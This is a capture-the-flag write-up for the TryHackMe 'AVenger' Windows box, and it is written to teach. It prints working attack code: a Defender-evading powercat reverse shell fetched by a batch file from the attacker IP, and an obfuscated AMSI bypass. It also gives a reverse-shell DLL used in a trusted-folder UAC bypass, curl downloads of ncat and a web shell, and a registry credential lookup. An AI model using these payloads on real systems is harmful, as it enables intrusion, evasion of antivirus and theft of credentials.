# AVenger

{% embed url="<https://tryhackme.com/room/avenger>" %}

&#x20;The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

By scanning our target with Nmap, we can discover several open ports. Notable services include HTTP on port 80, HTTPS on port 443, Microsoft RPC on port 135, NetBIOS on port 139, SMB on port 445, RDP on port 3389, WinRM on port 5985, dynamic RPC on port 47001, and additional dynamic RPC ports ranging from 49664 to 49669, as well as specific ports 49676 and 49677.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ftor4hVrBxRWT0mW71sUD%2Fgrafik.png?alt=media&#x26;token=51af5c4b-9cce-4da0-b3d1-7347cdd8c065" alt=""><figcaption></figcaption></figure>

For a more detailed scan, we specify a service and default script scan on the initially found ports.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ nmap -sT -sV -sC -Pn -p 80,135,139,443,445,3389,5985,47001,49664-49669,49676,49677 avenger.thm -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-25 10:37 EST
Nmap scan report for avenger.thm (10.10.41.159)
Host is up (0.036s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 3.5K  2022-06-15 16:07  applications.html
| 177   2022-06-15 16:07  bitnami.css
| -     2023-04-06 09:24  dashboard/
| 30K   2015-07-16 15:32  favicon.ico
| -     2023-06-27 09:26  gift/
| -     2023-06-27 09:04  img/
| 751   2022-06-15 16:07  img/module_table_bottom.png
| 337   2022-06-15 16:07  img/module_table_top.png
| -     2023-06-28 14:39  xampp/
|_
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Index of /
| tls-alpn: 
|_  http/1.1
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 3.5K  2022-06-15 16:07  applications.html
| 177   2022-06-15 16:07  bitnami.css
| -     2023-04-06 09:24  dashboard/
| 30K   2015-07-16 15:32  favicon.ico
| -     2023-06-27 09:26  gift/
| -     2023-06-27 09:04  img/
| 751   2022-06-15 16:07  img/module_table_bottom.png
| 337   2022-06-15 16:07  img/module_table_top.png
| -     2023-06-28 14:39  xampp/
|_
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-11-25T15:38:24+00:00; -17s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GIFT
|   NetBIOS_Domain_Name: GIFT
|   NetBIOS_Computer_Name: GIFT
|   DNS_Domain_Name: gift
|   DNS_Computer_Name: gift
|   Product_Version: 10.0.17763
|_  System_Time: 2023-11-25T15:38:16+00:00
| ssl-cert: Subject: commonName=gift
| Not valid before: 2023-06-29T08:09:48
|_Not valid after:  2023-12-29T08:09:48
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: localhost, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -17s, deviation: 0s, median: -17s
| smb2-time: 
|   date: 2023-11-25T15:38:19
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.12 seconds
```

After finishing the Nmap scan, we run a Gobuster scan to enumerate all possible files and directories on the web server running at ports 80 and 443. We see that `phpmyadmin` is running, and the CMS WordPress is present.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsDf0vzkCzp3DOw3BkqVB%2Fgrafik.png?alt=media&#x26;token=934029a4-07f0-4a05-8656-99b2a48856cd" alt=""><figcaption></figcaption></figure>

During manual enumeration, `/gift` also turned out to be a WordPress page. The domain `avenger.tryhackme` also became clear from the sources. Next, we run the wpscan on the WordPress page `/gift`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fnbn3io181mTPExlQ5Tiq%2Fgrafik.png?alt=media&#x26;token=29de8711-c6b9-42a7-a83d-c300663b20f6" alt=""><figcaption></figcaption></figure>

At first glance, we see a very low-hanging fruit. Forminator version 1.24.1 is in use. Which is also affected by the vulnerability of unauthenticated remote command execution in version 1.24.6 (CVE-2023-4596). This vulnerability would allow us to upload a reverse shell, which could then be accessed at `/wp-content/uploads/<current_year>/<current_month>/shell.php` to execute it.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1vScLXZyQ8y1d3cxeaWR%2Fgrafik.png?alt=media&#x26;token=83d7fd02-6a18-4c02-87a3-d67904544fd9" alt=""><figcaption></figcaption></figure>

There is also a forminator form on the `/gift` page. It seems perfect.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fq91d1fmnkUKOTKAestwa%2Fgrafik.png?alt=media&#x26;token=13125cdb-aaee-45bc-ae9d-786e1e915db3" alt=""><figcaption></figcaption></figure>

Checking the sources of the form, it is indeed a forminator form.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjKutl7Gl3IeSl9KaKVxi%2Fgrafik.png?alt=media&#x26;token=7597aab0-a9c7-43fa-90e9-859c7400ae9d" alt=""><figcaption></figcaption></figure>

After a short amount of research, two exploits can be identified. The one from `exploit.db` does not appear to be directly transparent and clear. We first use the automated exploit from E1A, but quickly realize that we will fail. We are able to upload files with the exploit, but cannot find them in `/wp-content/uploads/2023/11`. **Let's ignore this vulnerability and move on**.

{% embed url="<https://www.exploit-db.com/exploits/51664>" %}

{% embed url="<https://github.com/E1A/CVE-2023-4596>" %}

## Foothold

We stay at the form and try to upload an arbitrary image.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhGGeyRbPWrn1YKzGTsIk%2Fgrafik.png?alt=media&#x26;token=845f1480-c9c4-4a0a-acfd-0d2e2b68a7df" alt=""><figcaption></figcaption></figure>

After uploading it, we'll get a decent hint. The message states that the team is delighted to review every message carefully.&#x20;

So let us assume that someone or something is opening or executing whats uploaded.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxpfmEGtgSbKgV2wybTbw%2Fgrafik.png?alt=media&#x26;token=e1cc282f-91d6-47fe-8ceb-fd594b56ff9e" alt=""><figcaption></figcaption></figure>

Let's make a quick sanity check using an HTML file containing an image whose source points to our web server. A quick shoutout to amine04. Without the assumption and testing using an HTML file like amine04 suggested, I wouldn't be able to come this far. \
Like the box states *"Think outside the box, unleash your inner prankster, and find unconventional solutions to outwit your opponents."*

```html
<img src="http://10.8.211.1:9000/cat.jpg"/>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpnU6RhBVSSkDoOpXIztn%2Fgrafik.png?alt=media&#x26;token=92798ead-6ebc-4b98-a3f6-f1bcce89fde8" alt=""><figcaption></figcaption></figure>

After a really short duration, the file seems to have been opened by someone, and we see the picture gets loaded from our server.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fi7NmdQ6T9J3HHJHEFj88%2Fgrafik.png?alt=media&#x26;token=516fe0bd-9fb4-4299-8f11-0a73f1437d95" alt=""><figcaption></figcaption></figure>

With that in mind and the description of the room that there is Antivirus (AV) is enabled, we look up techniques to upload reverse shell evading AV. For this, there is a really good resource referring to that topic:

{% embed url="<https://systemweakness.com/evade-windows-defender-reverse-shell-detection-6fa9f5eee1d1>" %}

The idea is to use powercat to create a reverse shell whose content is stored base64-encoded in a text file. The content of the file is downloaded to the target computer and executed using a batch file. The batch file is placed and executed by uploading it via the form.

> Powercat (<https://github.com/besimorhino/powercat>) is a simple network utility used to perform low-level network communication operations. The tool is an implementation of the well-known Netcat in PowerShell.
>
> To evade the Windows Defender antivirus software, we can encode reverse shell payload with Powercat. Powercat has a good feature to encode a command to Hexadecimal Array. This way, some of the basic security features can be bypassed.

The  following version of powercat was used:

{% embed url="<https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1>" %}

To generate the powercat shell on our attacker machine, you can make use of the following commands:

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ LHOST=10.8.211.1
                                                                        
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ LPORT=49731
                                                                        
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ rshell=shell-49731.txt
                                                                        
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ pwsh -c "iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c $LHOST -p $LPORT -e cmd.exe -ge" > /home/0xb0b/Documents/tryhackme/avenger/$rshell
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMsIzIFkZtcWDWD6617wF%2Fgrafik.png?alt=media&#x26;token=301553a1-2e01-4809-a7e9-8250dfef7e82" alt=""><figcaption><p>An excerpt of the generated, encoded reverse shell</p></figcaption></figure>

Create the batch file to download and execute the encoded powercat reverse shell using PowerShell. This batch file will be executed by someone or something after uploading it.

```bash
START /B powershell -c $code=(New-Object System.Net.Webclient).DownloadString('http://10.8.211.1:9000/shell-49731.txt');iex 'powershell -E $code'

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbjSpexaVHJf3xM0vD1LR%2Fgrafik.png?alt=media&#x26;token=c2198e0e-ac11-4f7e-892a-1d20a16de9c8" alt=""><figcaption></figcaption></figure>

After generating the shell, a listener on `49371` is created on the attacker machine. We upload the batch and see after a short duration that the text file containing the shell gets downloaded.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeSA6IoUXqjcsowiixFnt%2Fgrafik.png?alt=media&#x26;token=0d92b896-73c7-439d-beac-baa031e1a734" alt=""><figcaption><p>set up a listener</p></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEWhVQxYsYszoX2sZ0Xk6%2Fgrafik.png?alt=media&#x26;token=7bbd172f-ceea-4e1e-b5c4-bd41fdcb9832" alt=""><figcaption><p>upload the batch file</p></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXhViRcnMornKcNGuPXkU%2Fgrafik.png?alt=media&#x26;token=c6919cc0-7a97-4a6c-906b-f114ab4e64a2" alt=""><figcaption><p>providing the encoded reverse shell</p></figcaption></figure>

The reverse shell connects, and we are the user `hugo`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTdmFib8TJmJ3BKR9HVgx%2Fgrafik.png?alt=media&#x26;token=eb51f95f-1678-4a77-acae-ef53aafbdc81" alt=""><figcaption></figcaption></figure>

After our first look up, we head to the Desktop of `hugo` where the first flag can be found.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCtH9C3xSY5GHZpHMTNkX%2Fgrafik.png?alt=media&#x26;token=04f554ee-f41a-4311-9838-c2eedc60dcc5" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

During the enumeration process, we see that `hugo` is part of the administrator groups - nice. Lets check if UAC is present. Maybe we are able to bypass it. As Microsoft states, User Account Control is a security feature that requires a user's consent before running applications with administrator privileges.

> User Account Control (UAC) is a key part of Windows security. UAC reduces the risk of malware by limiting the ability of malicious code to execute with administrator privileges.
>
> With UAC, each application that requires the administrator access token must prompt the end user for consent. The only exception is the relationship that exists between parent and child processes. Child processes inherit the user's access token from the parent process. Both the parent and child processes, however, must have the same integrity level.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbLMIzp0MS0LlOa9ZSHwD%2Fgrafik.png?alt=media&#x26;token=1bf6057d-9382-4403-ae8d-7eb5ec675a38" alt=""><figcaption></figcaption></figure>

We query if UAC is enabled. The settings are at leve&#x6C;**`5`**(**default)**. It will ask the administrator to confirm to run non Windows binaries with high privileges.

`REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7jaij9XRr9XPJTe1F9Hg%2Fgrafik.png?alt=media&#x26;token=6fe8aba1-5519-4209-9c3f-66cf8088bac0" alt=""><figcaption></figcaption></figure>

First we make use of the encoded AMSI bypass of Fabian Mosh:

```
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
```

Next, we download the windows binary `ncat.exe` on the target machine using curl.

```bash
curl http://10.8.211.1:9000/ncat.exe -o C:\Users\hugo\Desktop\ncat.exe
```

To bypass the UAC we make use of Technique 2 of Morphs Blog. It makes use of abusing trusted folders, to hijack DLLs of elevated binaries. A quick guide can be found at <https://notes.morph3.blog/windows/uac-bypass#technique-2>. A more detailed explanation can be found here <https://redteamer.tips/uac-bypass-through-trusted-folder-abuse/>.

First we create a DLL which executes ncat to establish a reverse shell.

{% code title="custom.cpp" lineNumbers="true" %}

```cpp
#include <windows.h>


void exec_custom()
{
	WinExec("c:\\users\\hugo\\Desktop\\ncat.exe -e cmd.exe 10.8.211.1 49732", 1);
}

bool APIENTRY DllMain( HMODULE hModule,
			DWORD ul_reason_for_call,
			LPVOID lpReserved
		)
{
	switch(ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		exec_custom();
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return true;
}
```

{% endcode %}

We compile it using `x86_64-w64-mingw32-gcc`.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ x86_64-w64-mingw32-gcc -shared -o Secur32.dll custom.cpp
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuzwGsBprL0x4YFb1z77E%2Fgrafik.png?alt=media&#x26;token=8cf8fe57-a9dc-4a2d-9445-387507805a6d" alt=""><figcaption></figcaption></figure>

> If you succeed in making folders with trailing slashes, Windows will interpret them as if the trailing slash was not there, however as you created the folder, you have full control over said folder.
>
> So, as a regular user, you now created a folder Windows considers “trusted”, but you have full access on this folder, making you able to write whatever you want in there and execute it under auto elevation.

{% embed url="<https://redteamer.tips/uac-bypass-through-trusted-folder-abuse/>" %}

After providing the machine with a version of ncat and having the DLL prepared, we create the folders with trailing spaces, tricking windows. We place the elevated executable `computerdefaults.exe` in there that is using the `Secur32.dll`. Next we download our custom `Secur32.dll` and place it also in `C:\Windows \System32\`.

```bash
mkdir "C:\Windows \"
mkdir "C:\Windows \System32\"
copy "C:\Windows\System32\computerdefaults.exe" "C:\Windows \System32\computerdefaults.exe"
curl http://10.8.211.1:9000/Secur32.dll -o "C:\Windows \System32\Secur32.dll"
"C:\Windows \System32\computerdefaults.exe"
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMlcrdm4mq7WIGDATS3Cn%2Fgrafik.png?alt=media&#x26;token=b1a1abe3-dcb2-4f4d-af80-87c9d995a49b" alt=""><figcaption><p>creating the folders and placing the computerdefaults.exe binary</p></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FS2QpY84J8tYSoQvHAi7W%2Fgrafik.png?alt=media&#x26;token=5df28957-a1ff-4f7c-b5ba-3b427c7d73c2" alt=""><figcaption><p>downloading the custom dll and checking the contents of  C:\Windows \System32\</p></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1qLVMuLwHOtc7dgEiT1c%2Fgrafik.png?alt=media&#x26;token=40cc8406-e46f-4e68-a146-20be2939691b" alt=""><figcaption><p>running computerdefaults.exe</p></figcaption></figure>

After executing `"C:\Windows \System32\computerdefaults.exe"` our reverse shell connects, and we are able to access the root flag at `C:\Users\Administrator\Desktop`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDcuzc0GCSPqfFM3fzCkP%2Fgrafik.png?alt=media&#x26;token=344d7732-6b16-4cba-9de9-b962c02b4d74" alt=""><figcaption></figcaption></figure>

## Unintended Privilege Escalation I

This was my initial way of escalating privileges. For some reason, the information gathered in this approach is only accessible while using a (powercat) reverse shell provided by a batch, as described here in the following. For some reason, it does not work with an HTA-Shell uploaded via the form.

During the enumeration process, we see that `hugo` is part of the administrator groups - nice. We know that there is an open RDP port, so eventually we are able to retrieve the credentials of the user and use them to RDP into the machine. There, we could easily run stuff as administrator with being able to interact with the UAC.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9SUYfQBavZWngQ2pExyS%2Fgrafik.png?alt=media&#x26;token=2d10ca13-ae10-4d54-b510-5d77b006ab7e" alt=""><figcaption></figcaption></figure>

We query if UAC is enabled. The settings are at leve&#x6C;**`5`**(**default)**. It will ask the administrator to confirm to run non Windows binaries with high privileges.

`REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBqBrxl2t2VV80xdQW7M1%2Fgrafik.png?alt=media&#x26;token=5a8f2796-530f-4446-b43a-7c188ed708a9" alt=""><figcaption></figcaption></figure>

To further enumerate the target on how to bypass the UAC or find other ways to escalate privileges, we want to make use of `PowerUp.ps1`. Since the target is still under AV protection, we try to bypass it. Especially the Antimalware Scan Interface (AMSI).&#x20;

AMSI is a Microsoft technology that enables applications to collaborate with antimalware products for real-time scanning of code and data in memory. It enhances security by allowing dynamic analysis of scripts and code executions to detect and prevent potential malware threats.

Several attempts like downgrading PowerShell or using different payloads were made to bypass AMSI, like the example below shows.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1JbN0tz0KYxxM18sy4rM%2Fgrafik.png?alt=media&#x26;token=9e0955c1-31ee-45a8-9592-bad8464247ff" alt=""><figcaption></figcaption></figure>

A good resource regarding that AV evasion topic is the following:

{% embed url="<https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/>" %}

Here we make use of the encoded AMSI bypass of Fabian Mosh:

```powershell
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FecA9sFmwszZwbKbYRNPe%2Fgrafik.png?alt=media&#x26;token=22c739b3-428d-40e5-8846-aa2d465a746a" alt=""><figcaption></figcaption></figure>

Other payloads can be found here:

{% embed url="<https://github.com/0xsyr0/Red-Team-Playbooks/blob/master/5-Installation/5-Installation.md#fabian-mosch--matt-graeber-bypass>" %}

After applying the bypass, the `PowerUp.ps1` can be downloaded from our web server. Having the `PowerUp.ps1` file on the machine, we import the PowerUp module and utilize the `Invoke-AllChecks`. The `Invoke-AllChecks` is a function that runs all the checks included in the module. The function outputs results of the checks in a useful format and offers us suggestions for where to look regarding privilege escalation.

```powershell
(New-Object System.Net.Webclient).DownloadString('http://10.8.211.1:9000/PowerUp.ps1') > PowerUp.ps1
. .\Powerup.ps1
Invoke-AllChecks
```

The following version of `PowerUp.ps1` was used:

{% embed url="<https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOnSz9tVHGv7r7e2Halm3%2Fgrafik.png?alt=media&#x26;token=0b9a81c2-d6d9-4030-9250-ad169c79bba7" alt=""><figcaption></figcaption></figure>

With that, we are able to spot two findings. First, there is a hijackable path, which we were not able to abuse yet and discussed in Further Ideas. Secondly, we get the credentials for the user `hugo` stored in the registry. \
When autologon is turned on, the password is stored in the registry in plain text. The registry can be queried manually using `reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"`&#x20;

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries#winlogon-keys>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUob1gKl0DPw1uzyDZJht%2Fgrafik.png?alt=media&#x26;token=b2469505-9826-4a54-a2d6-fdabd8e5e41e" alt=""><figcaption></figcaption></figure>

With those credentials, we hit up Remmina to get a remote desktop connection as the user `hugo`, recalling the open port 3389. From there, we are able to run the PowerShell terminal as an administrator since the user is part of the administrator group. The UAC just has to be confirmed. With the administrator PowerShell spawned, we head directly to `C:\Users\Administrator\Desktop` to find the `root.txt` flag there.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6j5VxVgkLDkMl9qjbftG%2Fgrafik.png?alt=media&#x26;token=8769e5ee-7919-41d9-92c1-dfd210ccdd7c" alt=""><figcaption></figcaption></figure>

## Unintended Privilege Escalation II

Another working approach was found by amine04. We discussed our different approaches to gaining `root`, and I want to briefly showcase the approach. A web shell can be placed at `C:\xampp\htdocs`. The web server seems to be running as `NT Authority/System`. With that web shell, all files can be accessed.

{% embed url="<https://github.com/calebstewart/pwncat>" %}

Unfortunately, there is an error when running the following command to download the reverse shell.

```powershell
(New-Object System.Net.WebClient).DownloadString('http://10.8.211.1:9000/p0wny-shell/shell.php') > shell.php
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6XdWjgqCfCIs1cFfKqO8%2Fgrafik.png?alt=media&#x26;token=bee27fe1-c371-4fa0-a2e6-51244fe32b13" alt=""><figcaption></figcaption></figure>

There might be an encoding error that leads to the PHP page not being evaluated correctly.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmZ0u0Erxwg6pMj6j2qHw%2Fgrafik.png?alt=media&#x26;token=8cf69183-8bba-44de-8865-0a82c199c876" alt=""><figcaption></figcaption></figure>

With cURL, we are able to download the shell correctly.

```bash
curl http://10.8.211.1:9000/p0wny-shell/shell.php -o C:\xampp\htdocs\shell.php
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fy5BbJcTd7gKdPunFQuv0%2Fgrafik.png?alt=media&#x26;token=bf05b695-5bf5-4329-801c-5d3e1cd8fb4d" alt=""><figcaption></figcaption></figure>

Accessing the web shell at `http://avenger.tryhackme/shell.php` gives us then full access on the system.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ftg3U7n27eEsD0t21k7Qo%2Fgrafik.png?alt=media&#x26;token=ea2bcf8f-efeb-4840-9b17-3de040996281" alt=""><figcaption></figcaption></figure>

## Further Ideas

Another approach was discussed with 0day. Recalling the PowerUp Finding of Hijackable Path. A working exploit has not been found yet, but I am still trying. But referring to <https://juggernaut-sec.com/dll-hijacking/> **Hijacking the Service DLL to get a SYSTEM Shell** a restart of the machine is required, which we are not able to do so.\
The following approach was introduced by 0day. The snippet below is a modified version of his testing malicious DLL to capture the contents of `C:\Users\Administrator\Desktop` of which was tested on a VM.

{% code title="test.cs" lineNumbers="true" %}

```csharp
using System;
using System.IO;

public class ListDesktopContents
{
    static ListDesktopContents()
    {
        string desktopPath = "C:\\Users\\Administrator\\Desktop";
        string outputFile = "C:\\temp\\desktop_contents.txt";

        try
        {
            string[] files = Directory.GetFiles(desktopPath);
            string[] directories = Directory.GetDirectories(desktopPath);

            using (StreamWriter writer = new StreamWriter(outputFile, false))
            {
                foreach (string file in files)
                {
                    writer.WriteLine("File: " + file);

                    // Read and write the contents of the file
                    try
                    {
                        string fileContents = File.ReadAllText(file);
                        writer.WriteLine("Contents: " + fileContents);
                    }
                    catch (Exception ex)
                    {
                        writer.WriteLine("Error reading file contents: " + ex.ToString());
                    }
                }

                foreach (string dir in directories)
                {
                    writer.WriteLine("Directory: " + dir);
                }
            }
        }
        catch (Exception ex)
        {
            File.WriteAllText(outputFile, ex.ToString());
        }
    }
}
```

{% endcode %}

Compile the custom DLL.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/avenger]
└─$ mcs -target:library -out:RunCommand.dll test.cs
                                                    
```

Use the Write-HijackDll CMDLet to place a Command into the vulnerable DLL.

```bash
Write-HijackDll -OutputFile 'C:\Users\hugo\AppData\Local\Microsoft\WindowsApps\\wlbsctrl.dll' -Command 'C:\Users\hugo\Desktop\RunCommand.dll'
```
